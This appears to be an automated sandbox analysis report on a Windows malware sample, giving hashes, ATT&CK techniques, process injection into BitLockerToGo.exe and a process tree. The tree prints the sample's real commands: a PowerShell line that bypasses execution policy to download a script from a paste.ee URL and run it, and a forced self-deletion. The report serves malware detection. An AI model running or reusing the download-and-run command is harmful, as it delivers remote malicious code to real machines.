5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0

General

Target

2dc8cdf825e23ff1df1ad11b3a6f1973.exe
Size

16.0MB
MD5

2dc8cdf825e23ff1df1ad11b3a6f1973
SHA1

82af57e0e6d7cf944148d3a16d7c8ca94fa982f8
SHA256

5d215747817125559e1a2d934c301ab466cbc956a6839c8a45f8b02b84b184d0
SHA512

3f20bb95a167d10a2998a63ab0ccd69fe81822d24a39d868d019ac0ff890067c23c015dc0be531d9531be26d6d3f44d7f11c23214ba4778e038b6844f8c8879b
SSDEEP

98304:dKulY9+o0L82IacWOEF8xbADr/xLCqjqdYCDBvYuSHFCxMg:DZVyj8/tCGiBdSHF7g

Score

8^/10

defense_evasion discovery execution

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

29 636 powershell.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Powershell Invoke Web Request.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

636 powershell.exe
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Suspicious use of SetThreadContext 1 IoCs

Processes:

2dc8cdf825e23ff1df1ad11b3a6f1973.exe

description pid process target process

PID 1948 set thread context of 100 1948 2dc8cdf825e23ff1df1ad11b3a6f1973.exe BitLockerToGo.exe

flow	pid	process
29	636	powershell.exe

pid	process
636	powershell.exe

description	pid	process	target process
PID 1948 set thread context of 100	1948	2dc8cdf825e23ff1df1ad11b3a6f1973.exe	BitLockerToGo.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

2dc8cdf825e23ff1df1ad11b3a6f1973.exeBitLockerToGo.exepowershell.execmd.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2dc8cdf825e23ff1df1ad11b3a6f1973.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	BitLockerToGo.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

636 powershell.exe
636 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 636 powershell.exe

pid	process
636	powershell.exe
636	powershell.exe

description	pid	process
Token: SeDebugPrivilege	636	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

2dc8cdf825e23ff1df1ad11b3a6f1973.exeBitLockerToGo.exe

description	pid	process	target process
PID 1948 wrote to memory of 100	1948	2dc8cdf825e23ff1df1ad11b3a6f1973.exe	BitLockerToGo.exe
PID 1948 wrote to memory of 100	1948	2dc8cdf825e23ff1df1ad11b3a6f1973.exe	BitLockerToGo.exe
PID 1948 wrote to memory of 100	1948	2dc8cdf825e23ff1df1ad11b3a6f1973.exe	BitLockerToGo.exe
PID 1948 wrote to memory of 100	1948	2dc8cdf825e23ff1df1ad11b3a6f1973.exe	BitLockerToGo.exe
PID 1948 wrote to memory of 100	1948	2dc8cdf825e23ff1df1ad11b3a6f1973.exe	BitLockerToGo.exe
PID 1948 wrote to memory of 100	1948	2dc8cdf825e23ff1df1ad11b3a6f1973.exe	BitLockerToGo.exe
PID 1948 wrote to memory of 100	1948	2dc8cdf825e23ff1df1ad11b3a6f1973.exe	BitLockerToGo.exe
PID 1948 wrote to memory of 100	1948	2dc8cdf825e23ff1df1ad11b3a6f1973.exe	BitLockerToGo.exe
PID 1948 wrote to memory of 100	1948	2dc8cdf825e23ff1df1ad11b3a6f1973.exe	BitLockerToGo.exe
PID 1948 wrote to memory of 100	1948	2dc8cdf825e23ff1df1ad11b3a6f1973.exe	BitLockerToGo.exe
PID 100 wrote to memory of 636	100	BitLockerToGo.exe	powershell.exe
PID 100 wrote to memory of 636	100	BitLockerToGo.exe	powershell.exe
PID 100 wrote to memory of 636	100	BitLockerToGo.exe	powershell.exe
PID 100 wrote to memory of 5076	100	BitLockerToGo.exe	cmd.exe
PID 100 wrote to memory of 5076	100	BitLockerToGo.exe	cmd.exe
PID 100 wrote to memory of 5076	100	BitLockerToGo.exe	cmd.exe

C:\Users\Admin\AppData\Local\Temp\2dc8cdf825e23ff1df1ad11b3a6f1973.exe
"C:\Users\Admin\AppData\Local\Temp\2dc8cdf825e23ff1df1ad11b3a6f1973.exe"
1⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
  "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:100
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://paste.ee/d/7BWJv" ) ) )"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:636
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5076

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

1

T1070

File Deletion

1

T1070.004

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lnxue4j3.m3x.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/100-12-0x0000000000400000-0x0000000000423000-memory.dmp

Filesize
140KB

Download
memory/100-7-0x0000000000400000-0x0000000000423000-memory.dmp

Filesize
140KB

Download
memory/100-6-0x0000000000400000-0x0000000000423000-memory.dmp

Filesize
140KB

Download
memory/100-5-0x0000000000400000-0x0000000000423000-memory.dmp

Filesize
140KB

Download
memory/100-4-0x0000000000400000-0x0000000000423000-memory.dmp

Filesize
140KB

Download
memory/636-10-0x00000000752C0000-0x0000000075A70000-memory.dmp

Filesize
7.7MB

Download
memory/636-11-0x0000000005B40000-0x0000000006168000-memory.dmp

Filesize
6.2MB

Download
memory/636-9-0x0000000005400000-0x0000000005436000-memory.dmp

Filesize
216KB

Download
memory/636-32-0x00000000752C0000-0x0000000075A70000-memory.dmp

Filesize
7.7MB

Download
memory/636-14-0x0000000005A80000-0x0000000005AE6000-memory.dmp

Filesize
408KB

Download
memory/636-8-0x00000000752CE000-0x00000000752CF000-memory.dmp

Filesize
4KB

Download
memory/636-15-0x0000000006170000-0x00000000061D6000-memory.dmp

Filesize
408KB

Download
memory/636-25-0x0000000006370000-0x00000000066C4000-memory.dmp

Filesize
3.3MB

Download
memory/636-26-0x0000000006980000-0x000000000699E000-memory.dmp

Filesize
120KB

Download
memory/636-27-0x00000000069C0000-0x0000000006A0C000-memory.dmp

Filesize
304KB

Download
memory/636-28-0x0000000007FE0000-0x000000000865A000-memory.dmp

Filesize
6.5MB

Download
memory/636-29-0x0000000006EA0000-0x0000000006EBA000-memory.dmp

Filesize
104KB

Download
memory/636-13-0x00000000059E0000-0x0000000005A02000-memory.dmp

Filesize
136KB

Download

Analysis

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